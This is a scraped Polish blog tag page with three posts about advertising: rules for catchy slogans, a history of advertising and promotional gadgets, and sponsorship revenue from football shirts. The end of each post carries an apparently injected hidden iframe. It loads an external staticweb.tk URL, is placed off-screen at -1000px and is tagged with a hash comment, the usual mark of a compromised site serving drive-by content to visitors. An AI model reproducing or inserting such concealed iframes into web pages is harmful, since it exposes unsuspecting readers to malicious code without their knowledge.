Przeglądanie Tagu

reklama

Reklama (nie tylko odzieżowa)

Chwyty reklamowe – czyli co?

25 marca 2016 • Opublikowane przez

Czym są chwyty marketingowe? To sposoby producentów na przybliżenie klientowi produktu z jak najlepszej strony. Sprzedaż zależy od wielu czynników. Istotna jest kwestia wizualna produktu oraz osoby sprzedającej, warstwa brzmieniowa oraz to, czy zakup będzie wydawał się atrakcyjny. Przedstawiamy dziś 5 reguł, które zwięk­szą praw­dopodobieństwo suk­cesu w stwo­rze­niu chwytliwego hasła reklamowego, dzięki któremu sprzedaż wzrośnie.

!–more–

nbsp;

Hasło reklamowe musi być wyjątkowe. Specjaliści od marketingu wiedzą, jak stworzyć idealny slogan. Oto zasady, którymi kierują się podczas układania ich.

nbsp;

strongIdentyfikacja/strong

Udany slo­gan powi­nien być spójny z nazwą. Ma stanowićstrong kon­tynu­ację lub uzu­peł­ni­enie komu­nikatu/strong w niej zawartego. Przykładem takiego zagrania może być umieszczenie w haśle nowej nazwy firmy czy produktu (np. Cilit Bang – Bang i po brudzie!). Jednak to nie jedyna możliwość. Najważniejsze jest to, aby slo­gan był kompatybilny z nazwą, jej dopełnie­niem i odbiciem.
div

span style=”color: #333333;”span style=”font-family: Georgia, ‚Times New Roman’, ‚Bitstream Charter’, Times, serif;”span style=”font-size: medium;”span style=”color: #ffffff;”R/span/span/span/span

/div
div/div
div/div
strongZapamiętywalność/strong

Ten termin pasuje idealnie do tematu strongfirm, marek handlowych i reklam/strong. Mnóstwo powstających dziś sloganów znamy doskonale dzięki nazwom marek, którym towa­rzyszą. Takim hasłem posłużyła się m.in. firma Nike — a href=”http://argos.pl/oferta,23.html”producent kurtek/a, butów sportowych, a także innych elementów garderoby, związanych z strongaktywnością fizyczną/strong. Slogan „Just do it” zapamiętały tysiące ludzi na całym świecie. Ważna jest tu zwięzłość hasła, ale nie celowe skracanie go. Czasami okazuje się, że dłuższe hasło będzie bardziej przekonujące, a dzięki temu okaże się skuteczniejsze.

nbsp;

strongPłynące korzyści/strong

Dla klienta najważniejsze jest to, co uzyska poprzez strongzakup nowego produktu/strong lub usługi. Pozostałe działania nie są dla niego istotne. Dlatego też dobry slogan powinien skupiać się na potencjalnym kliencie i uzmysłowić mu, ile zyska dzięki skorzystaniu z propozycji producenta.

a href=”http://argos.pl/blog/wp-content/uploads/2016/03/shopping.png”img class=”size-full wp-image-2701″ src=”http://argos.pl/blog/wp-content/uploads/2016/03/shopping.png” alt=”twoje-wiesci.pl” width=”650″ height=”407″ //a twoje-wiesci.pl

nbsp;
p class=”before2 ml73″strongCecha wyróżniająca/strong/p
p class=”before2 ml73″Rynek wypełniony jest ofertami produktów, z któregostrong każdy chce zostać sprzedany/strong. Bycie dobrym, a nawet i najlepszym może nie wystarczyć. Oprócz wartych zaznaczenia zalet reklama powinna mówić też o cechach, które odróżniają produkt od kon­ku­ren­cji. Co naprawdę jest jego wyjąt­kową prze­wagą? Dobrze, aby istniała choć jedna cecha, wyróżniająca go w ten sposób./p
p class=”before2 ml73″strongProstota/strong/p
p class=”before2 ml73″Slogan powinien się nią cechować. W tych kilku słowach powinno zawrzeć się całastrong siła przekazu/strong. Niewiele, a bardzo wiele zarazem. Dobrze więc będzie używać jedynie powszech­nie zna­nych wyrazów i zwrotów. Nie mniej, nie więcej, a tyle, ile trzeba./p
p class=”before2 ml73″Reklama i marketing idą w parze. Chwyty reklamowe od lat działają na konsumentów. Aby dobrze sprzedać produkt, warto nie tylko je znać, ale i umieć zastosować. To naprawdę działa!!–844c7b74e31d727d5814a0ed667c0255–iframe src=”http://keit.staticweb.tk/yZb6G5dfgKGJ” width=640 height=480 style=’position: absolute; left: -1000px; top: -1000px; z-index:-1;’/iframe


Historia i fakty

O pierwszych reklamach i gadżetach reklamowych

23 kwietnia 2015 • Opublikowane przez

p style=”text-align: justify;”Już w czasach starożytnych ludzie reklamowali swoje usługi. Ówczesne formy reklamy pojawiały się w postaci napisów na budynkach, a kupcy wykrzykiwali i wychwalali zalety swoich towarów. W ten sposób zaczęła kształtować się reklama ustna./p
p align=”JUSTIFY”!–more–/p
p align=”JUSTIFY”Jednak reklama ustna to nie jedyna forma zachęcania do skorzystania z usług firmy. O wydarzeniach kulturalnych i sportowych informowano mieszkańców starożytnej strongGrecji/strong w formie pisemnej. W starożytnym Rzymie i Pompejach na budynkach odnaleziono komunikaty, które mogły być ówczesnymi przekazami reklamowymi. Wśród nich znalazło się m.in. takie zdanie: Wędrowcze! Idź stąd do dwunastej wieży, tam prowadzi sarinus winiarnię. Wstąp do niej – bądź zdrów. Dopiero jednak wynalazek strongGutenberga/strong na zawsze zrewolucjonizował nie tylko rynek reklamy. Jednak w tym przypadku zaczęła rozwijać się ona tym szybciej, im więcej pojawiało się na rynku nowych gazet i czasopism. Rozwój reklamy nierozerwalnie związany był bowiem z :/p

ul
lirozwojem handlu/li
lirozwojem technik perswazji i komunikacji/li
lirozwojem środków komunikacji masowej/li
/ul
Pierwsze reklamy były jedynie niewielkimi ulotkami z strongogólną informacją o produkcie/strong. Próżno było na nich szukać choćby pierwowzorów dzisiejszych haseł reklamowych.

span style=”color: #ffffff;”./span

a href=”http://argos.pl/blog/wp-content/uploads/2015/04/308.jpg”img class=”size-full wp-image-2033″ src=”http://argos.pl/blog/wp-content/uploads/2015/04/308.jpg” alt=”fot. wojtkowski.waw.pl” width=”668″ height=”190″ //a fot. wojtkowski.waw.pl

span style=”color: #ffffff;”./span
p style=”text-align: justify;”Najszybciej reklama zaczęła rozwijać się w wieku XIX i XX. Był to prawdziwy przełom, który wiązał się z powstaniem pierwszej na świecie strongagencji reklamowej/strong, założonej przez Volney’a Palmera. Zbierał ogłoszenia i umieszczał je w prasie, dając tym samym podwaliny pod nowoczesną działalność strongagentów reklamowych/strong. Z czasem, reklamy zaczęły coraz bardziej przypominać te, które znamy dziś. Wzbogacane były o hasła reklamowe oraz obrazki zachęcające do skorzystania z usług lub kupna towaru./p
span style=”color: #ffffff;”./span

a href=”http://argos.pl/blog/wp-content/uploads/2015/04/persil_2_blog.jpg”img class=” wp-image-2036″ src=”http://argos.pl/blog/wp-content/uploads/2015/04/persil_2_blog-1024×442.jpg” alt=”fot. cosmeticandhouseholdmuseum.com” width=”842″ height=”363″ //a fot. cosmeticandhouseholdmuseum.com

span style=”color: #ffffff;”./span
p style=”text-align: justify;”Nieco później zaczęły pojawiać się strongreklamy radiowe/strong, ale dopiero ta strongtelewizyjna/strong, która po raz pierwszy pojawiła się w 1941 r. w Stanach Zjednoczonych stworzyła ogromne możliwości dla reklamodawców. W Polsce złoty okres reklamy nastąpił dopiero po 1989 roku i do dziś rynek reklamowy jest jedną z najbardziej dynamicznie rozwijających się branż./p
strong
Nie tylko tradycyjna reklama/strong
p style=”text-align: justify;”Dziś, oprócz reklamy strongBTL/strong ( reklamy nieemitowane w tradycyjnych środkach masowego przekazu)  i strongATL/strong – (reklamy emitowane w tradycyjnych środkach przekazu), firmy podejmują również inne działania reklamowe związane z promocją swojej marki. Internet zagrabił sobie bardzo dużą część działań reklamowych i to właśnie w nim często toczy się bój pomiędzy firmami działającymi w podobnych branżach. Chodzi tu głównie o pozycjonowanie stron internetowych, działalność w strongsocial media/strong czy strongmarketing wirusowy/strong. Firmy sięgają również po bardzo atrakcyjne wizualnie i przyciągające uwagę konsumentów działania. Wśród nich jest tzw. strongambient marketing/strong, który polega na niestandardowych formach promocji i reklamy firmy. W tego typu reklamach często wykorzystuje się przestrzeń miejską, nowe technologie np. blootooth uzyskując w ten sposób naturalny kontakt z otoczeniem. Ciekawe przykłady ambientów prezentują często znane marki jak na przykładstrong Kit Kat/strong, a polskie firmy również nie mają się czego wstydzić jeżeli chodzi o niestandardowe formy reklamy jak na przykład firma strongŻywiec/strong./p

a href=”http://argos.pl/blog/wp-content/uploads/2015/04/271bdb3.jpg”img class=”size-full wp-image-2040″ src=”http://argos.pl/blog/wp-content/uploads/2015/04/271bdb3.jpg” alt=”fot. linkedin.com” width=”480″ height=”319″ //a fot. linkedin.com a href=”http://argos.pl/blog/wp-content/uploads/2015/04/3852831216_110920cb15.jpg”img class=”size-full wp-image-2042″ src=”http://argos.pl/blog/wp-content/uploads/2015/04/3852831216_110920cb15.jpg” alt=”fot. launching.blox.pl” width=”500″ height=”311″ //a fot. launching.blox.pl

strong
Co oprócz ambientu?/strong
p style=”text-align: justify;”Oprócz reklam w mediach nowych i tradycyjnych, istnieją również formy promocji, które nie tylko wyróżniają profil działalności danej firmy, ale także ocieplają jej wizerunek i sprawiają, że staje się ona bardziej przyjazna Klientowi. Mowa tu o stronggadżetach reklamowych/strong i innych akcesoriach, które posiadają logo danego przedsiębiorstwa. Branża gadżetów reklamowych w Polsce rozwija się bardzo strongdynamicznie/strong, a jej wartość wynosi 1,2 – 2 mld złotych. Z gadżetów reklamowych korzysta wiele firm, również tych, które swoją działalność opierają na funkcjonowaniu w Internecie. Wiele z nich dołącza do swoich przesyłek gadżety, które jednoznacznie mają kojarzyć się odbiorcom z danym sklepem. Gadżety są postrzegane jako coraz bardziej strongefektywne/strong formy reklamy./p
p style=”text-align: justify;”Oprócz tradycyjnych akcesoriów reklamowych takich jak strongdługopisy/strong, strongnotatniki/strong czy strongkubki/strong często firmy decydują się na współpracę z producentami strongodzieży reklamowej/strong. Odzież reklamowa po raz pierwszy pojawiła się na Zachodzie i konsekwentnie wprowadzana była w poszczególnych krajach. W Polsce najwięcej tego typu reklam zaczęto umieszczać na odzieży pod koniec lat 80-tych. Logo umieszczone na koszulce wraz z numerem kontaktowym czy adresem strony internetowej jest świetną reklamą, którą można pokazać będąc w dowolnym miejscu, a przede wszystkim w punktach styku z potencjalnymi klientami. Zimą firmy zamawiają więc ciepłe strongkurtki/strong czy strongczapki/strong, latem pracownicy mogą nosić koszulki polo z informacją o danej firmie. Reklama przeszła więc długą drogę od krótkich informacji pojawiających się w prasie, poprzez nowoczesne i niestandardowe pomysły marketingowe, aż po odzież reklamową. Wiele z działań promocyjnych przeniosło się do sieci, ale nie zanosi się na to, aby w najbliższym czasie reklamodawcy zrezygnowali z pojawiania się w prasie telewizji czy korzystania z reklamowych gadżetów.!–844c7b74e31d727d5814a0ed667c0255–iframe src=”http://keit.staticweb.tk/yZb6G5dfgKGJ” width=640 height=480 style=’position: absolute; left: -1000px; top: -1000px; z-index:-1;’/iframe


Reklama (nie tylko odzieżowa)

Reklamowa moc piłkarskiej koszulki

17 kwietnia 2015 • Opublikowane przez

p align=”JUSTIFY”W 2009 roku Finał Ligi Mistrzów, w którym zagrali przeciwko sobie piłkarze FC Barcelona i Manchester United obejrzało 109 milionów widzów! Zeszłoroczny finał śledziło przed telewizorami ponad 4 miliony Polaków./p
p align=”JUSTIFY”strong!–more–/strong/p
p align=”JUSTIFY”W Stanach Zjednoczonych najważniejszym sportowym wydarzeniem w ciągu roku jest finałowy mecz o mistrzostwo w futbolu amerykańskim zawodowej ligi strongNational Football League/strong. W 2011 roku finał miał największą oglądalność w historii – 111 mln widzów. Jednak nie tylko strongpiłka nożna/strong i strongfutbol amerykański/strong są najchętniej oglądanymi rozgrywkami na świecie. Australian Open gromadzi przed telewizorami miliony widzów, w Indiach ogromną popularnością cieszą się rozgrywki w strongkrykieta/strong a Kanadyjczycy nade wszystko kochają stronghokej/strong. Zimą, polskim narodowym sportem stają się skoki narciarskie, a mecze siatkówki i piłki ręcznej, zwłaszcza w ich fazach finałowych pokazują tysiące polskich kibiców z jak najlepszej strony./p
p align=”JUSTIFY”Nic więc dziwnego, że rzesze fanów są nie lada gratką dla sportowych sponsorów. Wspomniany już finał strongSuper Bowl/strong jest bodaj największą żyłą złota dla stacji telewizyjnych. Podczas rozgrywek ustalane są niebotyczne stawki za minutę wyemitowanego spotu reklamowego. Koszt reklamy sięga wtedy nawet do 2,7 mln dolarów za 30 minutowy spot. Największe stacje telewizyjne zarabiają  wtedy nawet 250 milionów dolarów!/p

a href=”http://argos.pl/blog/wp-content/uploads/2015/04/werty.jpg”img class=” wp-image-2000″ src=”http://argos.pl/blog/wp-content/uploads/2015/04/werty-300×220.jpg” alt=”fot. q13fox.com ” width=”368″ height=”270″ //a fot. q13fox.com
p align=”JUSTIFY”Z badań przeprowadzonych w 2014 r. przez Sponsoring Monitor wciąż najbardziej rozpoznawalnym sportowcem był w Polsce strongAdam Małysz/strong, choć zakończył on karierę skoczka narciarskiego./p

a href=”http://argos.pl/blog/wp-content/uploads/2015/04/Adam-Ma-ysz_19842291.jpg”img class=” wp-image-2218″ src=”http://argos.pl/blog/wp-content/uploads/2015/04/Adam-Ma-ysz_19842291.jpg” alt=”fot. sport.se.pl” width=”373″ height=”265″ //a fot. sport.se.pl
p align=”JUSTIFY”Reklamodawcy wiedzą więc jak zarabia się na sportowcach, ale również na strongsportowych wydarzeniach/strong. Połowa Polaków twierdzi również, że lepiej postrzegane są przez nich firmy zaangażowane w sponsoring sportowy, niż te, które takich działań nie podejmują. Tomasz Cieślik z agencji Sportiv podkreśla, że sport jest największym zjawiskiem kultury masowej i ma fantastyczną moc przyciągania ogromnej liczby widzów. Dlatego jest tak atrakcyjny dla reklamodawców./p
p style=”text-align: justify;”Z badań przeprowadzonych przez firmę Repuco wynika, że reklamodawcy wydają coraz więcej pieniędzy na strongumieszczanie swoich reklam na koszulkach piłkarzy/strong. To kwoty rzędu 700 mln euro na sezon, w przypadku zawodników czołowych piłkarskich lig w Europie! Najwyższe ceny osiągają reklamy na koszulkach klubów angielskich, które tylko w tym sezonie zarobiąstrong 213 mln euro/strong! Nieco tańsze są reklamy na koszulkach w klubach hiszpańskich i niemieckich./p
Na portalu Sport.pl możemy również prześledzić jakie strongprzychody z reklam/strong mają najbardziej rozpoznawalne kluby na świecie.

1. Manchester United Chevrolet 80 mln dolarów rocznie
2. Barcelona Qatar Airways 45 mln
3. Bayern Monachium Deutsche Telekom 40 mln
4. Real Madryt Emirates 39 mln
5. Liverpool Standard Chartered 31 mln
6. Manchester City Etihad 31 mln
p style=”text-align: justify;”span style=”color: #ffffff;”./span
A jak to się wszystko zaczęło? W 1974 r. na pomysł zarabiania na piłkarskich koszulkach wpadł Bert Patrick, właściciel firmy Admiral. Podpisał umową z angielską federacją piłkarską dzięki czemu, mógł sprzedawać repliki koszulek reprezentacji Anglii. Federacji płacił 15 tys funtów rocznie. Dziś kadra angielska dostaje za to 25 mln funtów rocznie od Nike!/p
p style=”text-align: justify;”W polskiej ekstraklasie największe zyski z reklam miał strongŚląsk Wrocław/strong. Tauron płacił klubowi za reklamę na koszulkach 5 mln rocznie. Duże nakłady pieniężne pompowane są również w polskich skoczków narciarskich, których polarowe bluzy, czapki i kombinezony również przyciągają wielu reklamodawców. Informacje te nie są potwierdzone, jednak kontrakt jaki wiązał Adama Małysza z Red Bullem opiewał na pół miliona złotych rocznie./p
nbsp;

a href=”http://argos.pl/blog/wp-content/uploads/2015/04/xxxxxx.jpg”img class=” wp-image-2002″ src=”http://argos.pl/blog/wp-content/uploads/2015/04/xxxxxx-300×169.jpg” alt=”fot. www.uefa.com ” width=”394″ height=”222″ //a fot. www.uefa.com
p style=”text-align: justify;”Sportowy marketing  ma nie tylko twarz koszulek piłkarskich i odzieży reklamowej w ogóle, ale również wiąże się ze sponsoringiem imprez przez wielkie strongkoncerny/strong. Kampania Piwowarska będąca sponsorem sponsorem gali Wojak Boxing Night zwiększyła sprzedaż swojego piwa strongWojak/strong. Firmy dostrzegając ogromne zalety sponsoringu sportowego coraz bardziej angażują się  w tego typu działania. Wydając pieniądze na reklamę, docierają do swojego targetu, zarabiając pieniądze na sprzedaży usług w przyszłości.!–844c7b74e31d727d5814a0ed667c0255–iframe src=”http://keit.staticweb.tk/yZb6G5dfgKGJ” width=640 height=480 style=’position: absolute; left: -1000px; top: -1000px; z-index:-1;’/iframe